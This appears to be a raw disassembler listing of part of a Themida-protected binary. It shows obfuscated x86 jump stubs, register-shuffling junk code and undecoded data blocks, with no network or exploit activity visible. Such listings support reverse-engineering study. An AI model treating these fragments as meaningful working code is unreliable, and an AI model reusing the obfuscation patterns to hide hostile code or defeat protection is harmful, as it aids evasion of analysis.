		jmp	loc_514A32
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 0E902E6C0h, 0FFFFFEAFh, 4C481h, 81680000h
		dd 89000066h, 0BB53240Ch, 2F0B6938h, 0E907EBC1h, 0CFD7h
; ---------------------------------------------------------------------------


loc_502F18:				; CODE XREF: Themida_:00511F73j
		pop	ax
		jmp	loc_50910B
; ---------------------------------------------------------------------------


loc_502F1F:				; CODE XREF: Themida_:00512EEFj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2CB350F8h
		sub	ebx, esi
		pop	esi
		push	edx
		jmp	loc_51716A
; ---------------------------------------------------------------------------


loc_502F33:				; CODE XREF: Themida_:0050DE9Fj
		shl	eax, 5
		push	0
		sub	[esp], eax
		jmp	loc_50446C
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0E151EB0h, 5207E5C1h, 1BAh, 0F2F4E900h, 53510000h, 145A5E9h
		dd 61E95600h, 81000116h, 0B523F6E6h, 0A0C68112h, 1ED6BFCh
		dd 4131E9F5h, 0C1470001h, 0EF8105EFh, 1E197F70h, 4EC81h
		dd 0C890000h, 22FAB924h, 0C18174B2h, 28075048h,	731C181h
		dd 0BE562B98h, 0
		dd 0F187CE29h, 18D1E95Eh, 14890001h, 6920BA24h,	0D321499Bh
		dd 2CB5E95Ah, 0D7680001h, 8B4EE30Dh, 0C481242Ch, 4, 0B406E9h
		dd 0E9CD0100h, 2116h, 0C24DE95Dh, 0C4810000h, 4, 352668h
		dd 240C8900h, 240C8B54h, 1152FE9h, 0E9535D00h, 171Ah
; ---------------------------------------------------------------------------


loc_502FF8:				; CODE XREF: Themida_:00516F1Cj
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_50AD7E
; ---------------------------------------------------------------------------


loc_503007:				; CODE XREF: Themida_:0050E67Cj
		jmp	loc_5153A4
; ---------------------------------------------------------------------------
		dd 0EE81CE29h, 711952A0h, 24348759h, 2539E9h
		db 0
; ---------------------------------------------------------------------------


loc_50301D:				; CODE XREF: Themida_:0050D185j
		xor	ebx, 74E35D39h
		mov	eax, ebx
		pop	ebx
		add	edx, eax
		pop	eax
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_504F8E
; ---------------------------------------------------------------------------
aQ@11s		db 'Q¹+@11é|¿',0
		align 4
aISh		db '‰Ëéh',7,0
		dw 5A00h
		dd 3427C681h, 0C6011B45h, 3427EE81h, 0E9581B45h, 92F9h
		dd 81241C8Bh, 4C4h, 148B6600h, 16ADE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_503076:				; CODE XREF: Themida_:005102FFj
		mov	ecx, 34FB6439h
		sub	ebp, ecx
		jmp	loc_50A26B
; ---------------------------------------------------------------------------


loc_503082:				; CODE XREF: Themida_:0050EC57j
		shr	esi, 6
		xor	esi, 252DD5Fh
		add	edx, esi
		pop	esi
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_50F9DF
; ---------------------------------------------------------------------------
word_5030A2	dw 8F64h		; DATA XREF: Themida_:00502960o
		dd 0FA21E902h, 0C701FFFFh, 290BE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5030B2:				; CODE XREF: Themida_:005154F1j
		push	esp
		jmp	loc_510A69
; ---------------------------------------------------------------------------
aSc		db '\éæÁ',0
		align 2
aP6so		db 'P¸Ô=Ø6éOÜ',0
		db 0
; ---------------------------------------------------------------------------


loc_5030C9:				; CODE XREF: Themida_:0050DF8Cj
		push	2895h
		mov	[esp], edi
		push	33BC2373h
		jmp	loc_50C85A
; ---------------------------------------------------------------------------


loc_5030DB:				; CODE XREF: Themida_:0050B511j
		mov	eax, [esp]
		push	edi
		jmp	loc_508EA9
; ---------------------------------------------------------------------------
		dd 4BDh, 246C8100h, 4210C04h, 246C013Fh, 24448104h, 4210C04h
		dd 2434FF3Fh, 4C4815Dh,	5E000000h, 0E9E68956h, 0BC98h
; ---------------------------------------------------------------------------


loc_503110:				; CODE XREF: Themida_:00510971j
		push	eax
		jmp	loc_504894
; ---------------------------------------------------------------------------


loc_503116:				; CODE XREF: Themida_:00509D68j
		pop	edx
		jmp	loc_50E418
; ---------------------------------------------------------------------------
		dd 0A4318D2Dh, 5D0013Dh, 3DA4318Dh, 7F6B1205h, 8F60504h
		dd 148B1ADAh, 52016824h, 28E90000h, 83000041h, 0C181FFE9h
		dd 14B57E38h, 2E9C149h,	71CEBD55h, 0CD814306h, 49107352h
		dd 481554Dh, 124h, 3973E900h, 74FF0000h, 1C8B0424h, 4C48324h
		dd 0E924048Fh, 5D45h, 1A01C781h, 0D7016E06h, 1A01EF81h
		dd 875A6E06h, 248B243Ch, 48B6624h, 68906824h, 34890000h
		dd 68E68924h, 74AFh, 0B9240C89h, 4, 19D168h, 24148900h
		dd 0D441D5BAh, 66C6816Dh, 1334421h, 4621E9D6h, 0BF570000h
		dd 2, 7226C681h, 83E94DDFh, 870000A9h, 0D6F72434h, 33243431h
		dd 34312434h, 0EB815B24h, 0A0328409h, 685BD901h, 7ADBh
		dd 0FF240C89h, 59042474h, 8B24048Fh, 0A30F2424h, 0E99C2404h
		dd 0FFFFF8C3h, 2D48D8F7h, 3FE06497h, 0A1A7E9h, 24048300h
		dd 2BC9E904h, 57560000h, 0EB3C88BFh, 5E95214h, 10000CFh
		dd 0E8315BDDh, 5CDBE9h,	80EED000h, 0F520ADF6h, 80D5F65Ah
		dd 0E80042EDh, 86B25259h, 0C2FEC2FEh, 28BEC280h, 24148BD0h
		dd 1221DE9h, 4E6C100h, 8102E6C1h, 0AF6344E6h, 46D6F728h
		dd 6798EE81h, 0F729B928h, 0E9C7295Eh, 0AC2Ch
; ---------------------------------------------------------------------------


loc_503278:				; CODE XREF: Themida_:0050EB5Bj
		mov	ebp, 50B23209h
		sub	ecx, ebp
		jmp	loc_504F14
; ---------------------------------------------------------------------------
		dd 4245401h, 6B84E9h, 24EF8100h, 592F2D01h, 2C781h, 3C330000h
		dd 243C3124h, 8B243C33h, 0EC832424h, 240C8904h,	5753D188h
		dd 0EE6F9FBFh, 0F9B8501Fh, 51DE20Ch, 1,	8904EC83h, 0ADBD242Ch
		dd 0E90F7A63h, 1433Ah
; ---------------------------------------------------------------------------


loc_5032D0:				; CODE XREF: Themida_:00510AFEj
		push	27Eh
		mov	[esp], edi
		mov	edi, esp
		push	edx
		push	eax
		push	11292DB3h
		pop	eax
		jmp	loc_50E4B9
; ---------------------------------------------------------------------------
		db 83h
		dd 0D8E904ECh, 5300005Eh, 0A4213BBBh, 8BDA895Ch, 0C483241Ch
		dd 0F6BB5304h, 2D1ADA08h, 1C852632h, 5521E205h,	0E9D82911h
		dd 249h
; ---------------------------------------------------------------------------


loc_503314:				; CODE XREF: Themida_:005080F3j
		pop	eax
		xor	eax, 17065A8Eh
		sub	edi, 602439E6h
		add	edi, eax
		add	edi, 602439E6h
		pop	eax
		jmp	loc_515B4F
; ---------------------------------------------------------------------------


loc_50332E:				; CODE XREF: Themida_:005107A8j
		xchg	eax, [esp]
		pop	esp
		push	3C60h
		jmp	loc_502BB1
; ---------------------------------------------------------------------------
		dd 27F468h, 242C8900h, 2BDh, 0BBC78100h, 81030A49h, 2F3EE0C7h
		dd 94EF813Ah, 811AA54Ah, 410D4EEFh, 81EF0156h, 410D4EC7h
		dd 94C78156h, 811AA54Ah, 2F3EE0EFh, 0BBEF813Ah,	5D030A49h
		dd 8B243C87h, 0F662424h, 9C2404BBh, 0FFF73EE9h,	0E9D42CFFh
		dd 12479h, 745ACE81h, 4BE939DEh
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50339F:				; CODE XREF: Themida_:00504ABCj
		push	7089h
		jmp	loc_50C00B
; ---------------------------------------------------------------------------


loc_5033A9:				; CODE XREF: Themida_:00509E0Cj
		add	edx, ebp
		pop	ebp
		jmp	loc_50D31F
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 48h
		dd 2943E102h, 0C1315AD0h, 8324048Bh, 0CD8904C4h, 81240C8Bh
		dd 4C4h, 14F75500h, 0C5C2E924h,	315C0000h, 0B9C281C3h
		dd 29421A71h, 5FB568C2h, 2C890000h, 93B85024h, 52145636h
		dd 4B30AFBAh, 293BE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5033FA:				; CODE XREF: Themida_:0050931Aj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5121D1
; ---------------------------------------------------------------------------


loc_50340E:				; CODE XREF: Themida_:00511038j
		sub	edx, 35D92BC8h
		sub	edx, 4E7E7DD2h
		add	edx, ebx
		add	edx, 4E7E7DD2h
		add	edx, 35D92BC8h
		add	edx, 6BDC4642h
		pop	ebx
		jmp	loc_506C66
; ---------------------------------------------------------------------------


loc_503434:				; CODE XREF: Themida_:0050B263j
		add	edi, 14896630h
		jmp	loc_50E019
; ---------------------------------------------------------------------------
		db 0B8h
		dd 65025F02h, 43F3BA52h, 0D02919E4h, 13C0AE9h, 0E9D8F700h
		dd 0FFFFFDB0h, 50241C89h, 0ECC01EB4h, 8EB25204h, 0E95AD430h
		dd 0B75Eh
; ---------------------------------------------------------------------------


loc_50346C:				; CODE XREF: Themida_:00509A27j
		pop	eax
		add	edi, 0EF57B152h
		and	eax, edi
		jmp	loc_50DDD8
; ---------------------------------------------------------------------------
		dw 814Eh
		dd 822D2AC6h, 17C68126h, 9C912B9h, 80E95EF3h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50348F:				; CODE XREF: Themida_:0050BAF1j
		push	ecx
		mov	cl, 79h
		jmp	loc_50E76A
; ---------------------------------------------------------------------------


loc_503497:				; CODE XREF: Themida_:00515DC3j
		xor	eax, 46DC45D3h
		push	edi
		mov	edi, 5DF7594Eh
		xchg	edx, edi
		sub	edx, 0FFFFFFFFh
		jmp	loc_5160BC
; ---------------------------------------------------------------------------
		dd 77EABD55h, 0E801E63Bh, 47C6815Dh, 1454A0Eh, 47EE81C6h
		dd 0E9454A0Eh, 0E7AAh
; ---------------------------------------------------------------------------


loc_5034C8:				; CODE XREF: Themida_:0050E807j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_515A7E
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 9755E956h, 0DD010000h, 4EC81h, 4890000h, 65B4B824h
		dd 0E0C1313Bh, 48D8F705h, 0D676B25h, 4C6FE948h,	0CE810000h
		dd 5BDC478Ch, 11D6C681h, 0C2812071h, 381B5D3Eh,	0EA81F201h
		dd 381B5D3Eh, 487E95Eh,	34890000h, 76086824h, 67E90000h
		dd 560000F4h, 4EC8355h,	0BB241C89h, 26403BB2h, 0A36FE9h
		dd 2434FF00h, 8324148Bh, 8AE904C4h, 0C1000044h,	0C58106EDh
		dd 0CD092BACh, 999DE9h,	0E2BF5700h, 29115521h, 26CE9F8h
		dd 815B0001h, 2D6FC1CEh, 0F0EE810Bh, 811C4065h,	0C5A765C6h
		dd 8BF00100h, 0C4812434h, 4, 7ACEB81h, 685562B3h, 71EA3799h
		dd 0E9242C8Bh, 0FFFFF53Fh, 0E6C98141h, 684C402Dh, 3985h
		dd 0BE243489h, 666D0F6Fh, 3499C681h, 6CE93C17h,	0BF0000BAh
		dd 0E1DC9DBh, 315FFA31h, 0F1895AD6h, 5E2434FFh,	4C481h
		dd 0C5E90000h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5035D7:				; CODE XREF: Themida_:00515B38j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_515D92
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	1A013783h
		pop	eax
		inc	eax
		neg	eax
		shl	eax, 7
		xor	eax, 0FF643E04h
		mov	edi, eax
		pop	eax
		sub	ebp, 4BE476BEh
		add	ebp, edi
		jmp	loc_50A855
; ---------------------------------------------------------------------------
		db 81h
		dd 0F66DC8C9h, 23F18123h, 815FD93Dh, 534266E9h,	81E9D13Ch
		dd 697D80E9h, 0E9CF2925h, 13AB7h, 83585450h, 3C8904ECh
		dd 1C96BF24h, 43E90B5Fh, 8B0000FFh, 0C483241Ch,	80D3F604h
		dd 0D82811C3h, 83241C8Bh, 0A96804C4h, 0E9000012h, 132Eh
; ---------------------------------------------------------------------------


loc_50365C:				; CODE XREF: Themida_:0050667Bj
		mov	edx, 285A7CB2h
		jmp	loc_513903
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 92E4BCBh, 4802F581h,	0C2810000h, 135B2955h, 54F2C281h
		dd 9EE90814h
		db 0F5h, 2 dup(0FFh)
byte_503683	db 0ACh			; DATA XREF: Themida_:0050289Co
		dd 10AA6853h, 42E90000h, 10000DCh, 3BE95EF1h, 100009Ah
		dd 0BA525BDDh, 4, 10399E9h, 59EB2800h, 0E924048Bh, 5958h
		dd 0E6B6E950h, 0EF810000h, 736D3675h, 34FFFA01h, 0C4835F24h
		dd 4EB85004h, 534A3433h, 0F8508EBBh, 5BD80927h,	0E9774425h
		dd 83D0F72Fh, 0D0F701E8h, 0E873412Dh, 0A137E92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5036EA:				; CODE XREF: Themida_:00503CC3j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_516215
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 2C8702C5h, 820EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50370A:				; CODE XREF: Themida_:00517CA3j
		add	edx, 4
		push	edx
		jmp	loc_502EA8
; ---------------------------------------------------------------------------


loc_503713:				; CODE XREF: Themida_:005136E7j
		push	dword ptr [esp]
		jmp	loc_5135DA
; ---------------------------------------------------------------------------
		db 0BEh
		dd 28538F3h, 733BBB53h,	0DE314D41h, 451AE95Bh
		db 1, 0
word_50372E	dw 8357h		; DATA XREF: Themida_:00502A4Co
		dd 248904ECh, 24048324h, 68525F04h, 3241h, 5A55E9h, 241C8900h
		dd 0E9505B54h, 0FFFFFACEh, 8104C483h, 0C51853EFh, 81DF0128h
		dd 0C51853C7h, 0B3E95B28h
		db 0F9h, 2 dup(0)
byte_503767	db 66h			; DATA XREF: Themida_:00502A18o
		dd 8124048Bh, 4ECh, 242C8900h, 2434FF54h, 8B54535Dh, 0C483241Ch
		dd 90BE5604h, 81011E5Eh, 2C094AEEh, 0E35AE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503792:				; CODE XREF: Themida_:005089BFj
		sub	ecx, 4C427536h
		shr	ecx, 6
		add	ecx, 2AE61E81h
		jmp	loc_5173D2
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 0D8AAE904h
		db 2 dup(0)
word_5037AE	dw 8B66h		; DATA XREF: Themida_:005029B0o
		dd 22E92404h, 8B00009Ah, 0C481240Ch, 4,	13234E9h, 0CE815900h
		dd 0A7D4535h, 6B7AEE81h, 52506876h, 1C374CBAh, 0EBE5B81Ch
		dd 0DE97698h, 8F00011Fh, 665C2404h, 2E9E9F7h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5037EF:				; CODE XREF: Themida_:0050B8B6j
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_5172A3
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1Ch
		jmp	loc_5121B0
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4EC815Ch, 89000000h,	9B22414h, 4153E9h
		db 0
; ---------------------------------------------------------------------------


loc_503825:				; CODE XREF: Themida_:00505457j
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 1FBA000Ah
		or	edx, 48214E8Ch
		add	edx, 0FFFFFFFFh
		neg	edx
		jmp	loc_512EE3
; ---------------------------------------------------------------------------


loc_503865:				; CODE XREF: Themida_:0050A184j
		shl	ecx, 4
		jmp	loc_510DDD
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0CB880000h, 0EC8EE959h, 2C8B0000h, 4C48324h
		dd 1CBD68h, 1B5FE900h, 0F3810001h, 0C337E355h, 515BD901h
		dd 0FF27E95Eh
		db 2 dup(0FFh)
word_50389E	dw 8B66h		; DATA XREF: Themida_:00502914o
		dd 7868240Ch, 89000028h, 0DF682404h, 89000026h,	4812424h
		dd 424h, 2434FF00h, 4C48158h, 53000000h, 468h, 1BE95B00h
		db 0B3h, 2 dup(0)
aNFgojvspi	db '­-”GŽJVéP¨',0       ; DATA XREF: Themida_:00502994o
		db 0
; ---------------------------------------------------------------------------


loc_5038DB:				; CODE XREF: Themida_:005122C5j
		add	esp, 4
		pop	edx
		jmp	loc_506B2D
; ---------------------------------------------------------------------------
		db 0FFh
a4SP		db '4$]éÔP',0
		align 10h
		dd 0E95BDA01h, 9E8Ah, 0E95AD788h, 0FFFFF350h, 81FA0158h
		dd 5607FC2h, 0C2835F41h, 74FF5204h, 34FF0424h, 0DF79E924h
		dd 0E0890000h, 405h, 4C08300h, 8B240487h, 4052424h, 0E9000000h
		dd 0CBF4h, 0E9241486h, 0FFFFFD03h, 57241C8Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 24248B24h, 205h, 24043300h, 33240431h
		dd 248B2404h, 9CC13824h, 0FFF15EE9h, 241489FFh,	8904EC83h
		dd 34FF2404h
		db 24h,	5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_51582C
; ---------------------------------------------------------------------------
		dw 0F800h
		dd 0E44DE9h, 16BF5700h,	811DDB5Fh, 291408C2h, 0E9FA2956h
		dd 0F550h
; ---------------------------------------------------------------------------


loc_5039BC:				; CODE XREF: Themida_:00510A5Bj
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_504AB9
; ---------------------------------------------------------------------------
aMsA		db 'Ž;A',0             ; DATA XREF: Themida_:00502988o
		db 0
; ---------------------------------------------------------------------------


loc_5039CD:				; CODE XREF: Themida_:0050A5A1j
		mov	esp, [esp]
		jmp	loc_515FF5
; ---------------------------------------------------------------------------
		db 1, 0DAh, 81h
		dd 0FE3767EAh, 48FEE958h, 0EC810000h, 4, 83242489h, 5F042404h
		dd 4C781h, 0CE90000h
		db 2Dh,	1, 0
; ---------------------------------------------------------------------------


loc_5039FB:				; CODE XREF: Themida_:0050DC06j
		not	ebx
		jmp	loc_50BDDD
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 564E11BBh, 1EC3CD81h, 0ED81256Fh, 676F1FC7h,	565DEB01h
		dd 4BEh, 1D71E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503A22:				; CODE XREF: Themida_:00504542j
		push	edi
		mov	edi, 48F92B17h
		shl	edi, 8
		xor	edi, 81A57BDh
		push	esi
		mov	esi, 2D232096h
		inc	esi
		xor	esi, 585E6426h
		jmp	loc_50DA8A
; ---------------------------------------------------------------------------
		db 59h
		dd 0E9DE215Dh, 0FFFFFB1Eh, 9FBE5658h, 0E91FF16Ch, 0E441h
dword_503A58	dd 9D1C77FFh, 1CD25966h, 64E99C24h, 0FFFFFFF0h,	0E9042474h
					; DATA XREF: Themida_:00502A38o
		dd 128E3h, 4B85052h, 89000000h,	1DE958C2h, 59000133h, 4C181h
		dd 0BF570000h, 2B404D33h, 3F12EF81h, 5053BD0Bh,	9EE4E9h
		dd 0E9315F00h, 56BB535Dh, 8119870Fh, 6E1DE3F3h,	5BD92930h
		dd 0C181F901h, 29E912B5h, 358A68h, 24048900h, 8490E9h
		db 0
; ---------------------------------------------------------------------------


loc_503AC1:				; CODE XREF: Themida_:0051324Bj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 26h
		add	bh, 95h
		add	bh, dl
		jmp	loc_512D94
; ---------------------------------------------------------------------------
		dd 8704C783h, 835C243Ch, 0C8704C1h, 54555C24h, 81242C8Bh
		dd 4C4h, 25E0E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_503AFA:				; CODE XREF: Themida_:00509A1Aj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		jmp	loc_517AEB
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 0FEB95124h, 810B7518h, 974D7FE1h,	8E1C12Ch
		dd 4689C181h, 0A7E90730h
		db 0A6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_503B2B:				; CODE XREF: Themida_:0050AD7Fj
		push	small 7D87h
		mov	[esp], bx
		mov	bl, 41h
		push	ecx
		jmp	loc_517BDA
; ---------------------------------------------------------------------------


loc_503B3B:				; CODE XREF: Themida_:00516D02j
		mov	ah, bl
		jmp	loc_513490
; ---------------------------------------------------------------------------


loc_503B42:				; CODE XREF: Themida_:00509EDDj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5085BD
; ---------------------------------------------------------------------------


loc_503B4D:				; CODE XREF: Themida_:0050CBC8j
		add	ecx, 0FF9FDCDCh
		mov	ebx, ecx
		pop	ecx
		add	ebp, 4CE76143h
		add	ebp, ebx
		jmp	loc_5054CB
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 0FB6652BAh,	4EC830Bh, 53243489h, 0C1D1F68h
		dd 0EB815B62h, 0B7D58CDh, 40A0F381h, 78E96D75h,	89000047h
		dd 0CEB850E7h, 0C1269913h, 34E907E0h, 54000048h, 4C18159h
		dd 68000000h, 3C9h, 0BF243C89h,	61FD2FCBh, 6807EFC1h, 6CD8h
		dd 4D34E9h
		db 0
; ---------------------------------------------------------------------------


loc_503BC1:				; CODE XREF: Themida_:00513CF1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5130FB
; ---------------------------------------------------------------------------


loc_503BD6:				; CODE XREF: Themida_:00515795j
		mov	[esp], ebp
		mov	ebp, 4
		sub	edx, 0A1F1754h
		add	edx, ebp
		add	edx, 0A1F1754h
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 1Ch
		mov	ebx, esi
		pop	esi
		add	ebx, 0B6675E6h
		add	ebx, edi
		sub	ebx, 0B6675E6h
		push	ecx
		push	ebp
		mov	ebp, 0
		jmp	loc_50D140
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0
		dd 0E9000000h, 0DFE3h, 0EC805966h, 0FDEC805Bh, 34FFE300h
		dd 667FE924h, 0E6BF0000h, 4F447346h, 6F9AF781h,	0C7816B81h
		dd 63332EA1h, 2414F757h, 0B9EF815Fh, 8155F877h,	1DCFDEC7h
		dd 0E9FD01E9h, 0EDF3h, 2D3FC981h, 0E9814352h, 0D4B7C14h
		dd 76F18149h, 0E9415883h, 10D36h, 5B2434FFh, 7F5D68h, 24048900h
		dd 8904EC83h, 4812424h,	424h, 31E95800h
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_503CA3:				; CODE XREF: Themida_:0050C422j
		push	ebp
		push	edi
		mov	edi, 3A593672h
		sub	esp, 4
		mov	[esp], eax
		push	7BBC4806h
		mov	eax, [esp]
		add	esp, 4
		or	eax, 264C6553h
		push	ebx
		mov	ebx, esp
		jmp	loc_5036EA
; ---------------------------------------------------------------------------


loc_503CC8:				; CODE XREF: Themida_:00507BCEj
		push	ecx
		push	4
		pop	ecx
		add	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_50BD6B
; ---------------------------------------------------------------------------


loc_503CE0:				; CODE XREF: Themida_:0050A5C8j
		push	2E90h
		mov	[esp], edx
		jmp	loc_512CFC
; ---------------------------------------------------------------------------
aIP_mzsxs	db '‰,$½p_MZé•s',0
		align 2
word_503CFA	dw 8B66h		; DATA XREF: Themida_:00502934o
		dd 6852240Ch, 1907h, 2D79E9h, 0C4835800h, 0E9D83004h, 10DF7h
dword_503D14	dd 42474FFh, 0E924048Bh, 5E02h ; DATA XREF: Themida_:005029B8o
dword_503D20	dd 24048B66h, 1029AE9h,	0DF78000h, 0A9EF80h, 88535BFAh
					; DATA XREF: Themida_:005029A0o
		dd 5BFC88D7h, 58E3005Ah, 1C8BD800h, 73F16824h, 2C890000h
		dd 815D5424h, 4C5h, 4C58100h, 87000000h, 285C242Ch, 0E9E72CD8h
		dd 0D071h
; ---------------------------------------------------------------------------


loc_503D64:				; CODE XREF: Themida_:0050A2BCj
		push	ebx
		pop	edx
		push	1EFCh
		jmp	loc_50D597
; ---------------------------------------------------------------------------
		dd 79E168h, 24148900h, 3C1E6850h, 48B3C5Ch, 89E1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503D86:				; CODE XREF: Themida_:00512BBAj
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	4
		pop	edx
		and	ecx, edx
		push	dword ptr [esp]
		jmp	loc_5069B0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 0B0AAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_503DAE:				; CODE XREF: Themida_:00502EA3j
		sub	ebx, 0C3DE1FDFh
		jmp	loc_50F9C9
; ---------------------------------------------------------------------------


loc_503DB9:				; CODE XREF: Themida_:005094BDj
		xor	eax, edx
		jmp	loc_50F7F3
; ---------------------------------------------------------------------------
		dd 0FFED06E9h, 0D9E95AFFh, 890000A6h, 4C381E3h,	83000000h
		dd 1C8704C3h, 0CF815C24h, 0DE1706Fh, 128DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_503DE5:				; CODE XREF: Themida_:00511DABj
		pop	esp
		jmp	loc_50E0E8
; ---------------------------------------------------------------------------
		db 56h
		dd 4046ACBEh, 5EF7290Bh, 49B3E9h, 240C8B00h, 4C481h, 0EE810000h
		dd 6DD441D5h, 0E9240C8Bh, 12FB0h, 0E224F72Ch, 4EC8351h
		dd 0E9241C89h, 1358Bh, 815AD031h, 0CB4E5DE9h, 5214E91Dh
		dd 0C7810000h, 4, 4EF81h, 92E90000h, 5C0000AFh,	16B1BE56h
		dd 0B850187Eh, 0
		dd 5F66E9h, 0E9CB3000h,	26E8h, 51240489h, 0B03908B9h, 0EDFE965h
		dd 0EE810001h, 7A165C12h, 0EEFEE81h, 0DE01423Dh, 0EEFC681h
		dd 0C681423Dh, 7A165C12h, 5B2434FFh, 1134AE9h, 241C8B00h
		dd 5FEF68h, 0B11DE900h,	535A0000h, 0DE88E388h, 0CE9585Bh
		db 14h,	1, 0
; ---------------------------------------------------------------------------


loc_503EA3:				; CODE XREF: Themida_:005087E6j
		xor	ebx, [esp]
		pop	esp
		xor	al, bl
		jmp	loc_512A54
; ---------------------------------------------------------------------------


loc_503EAE:				; CODE XREF: Themida_:00507D9Fj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_50C59F
; ---------------------------------------------------------------------------
aLSn		db '‹$$é&',0
		align 2
		dw 0E953h
		dd 130A1h, 6804C483h, 61A7h, 71C4E9h, 0CFF5200h, 0B8505A24h
		dd 17684310h, 0C3E9C221h, 81000127h, 4C4h, 240C8B00h, 815A5452h
		dd 4C2h, 4C28100h, 0E9000000h, 0B257h, 932037BAh, 7791686Bh
		dd 4890000h, 7B07B824h,	232D1CA7h, 31123B71h, 0E95058C2h
		dd 3370h
; ---------------------------------------------------------------------------


loc_503F28:				; CODE XREF: Themida_:00510E03j
		pop	ecx
		jmp	loc_50FE8A
; ---------------------------------------------------------------------------


loc_503F2E:				; CODE XREF: Themida_:00506F18j
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_512B95
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0FDh
		dd 0E900A93Ch, 0A1DFh, 0BBA1E993h, 0E0BF0000h, 31307054h
		dd 9B2D5FFAh, 56CFD0Bh,	3DF0897h, 972DD001h, 503DF08h
		dd 6CFD0B9Bh, 5A2434FFh, 4C481h, 0BF570000h, 1C9F22AAh
		dd 34FFFB01h, 0C4815F24h, 4, 1BB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_503F89:				; CODE XREF: Themida_:00502E41j
		mov	ecx, 9871BFEh
		sub	ebp, ecx
		pop	ecx
		pop	eax
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_50B8AE
; ---------------------------------------------------------------------------
aLHd		db '‹$$hD!',0
		align 2
		dw 0C89h
		dd 0E9E18924h, 9A16h, 2404895Ch, 0ABE9E089h, 0F7000082h
		dd 2A4625D8h, 0E9515D5Eh, 101A2h, 0D6F7F587h, 0E5C1F587h
		dd 8CCD8105h, 502ADD39h, 856DE9B8h, 58C501CEh, 2C8BEA89h
		dd 4C48324h, 0BBE9D529h, 66000096h, 9C240CD3h, 0DD63E9h
		dd 54C38000h, 8DC0B60Fh, 9D688704h, 89000013h, 79E92414h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_504013:				; CODE XREF: Themida_:005057ABj
		push	eax
		push	3036h
		jmp	loc_504E15
; ---------------------------------------------------------------------------


loc_50401E:				; CODE XREF: Themida_:0050AD99j
		mov	esp, [esp]
		jmp	loc_5135AF
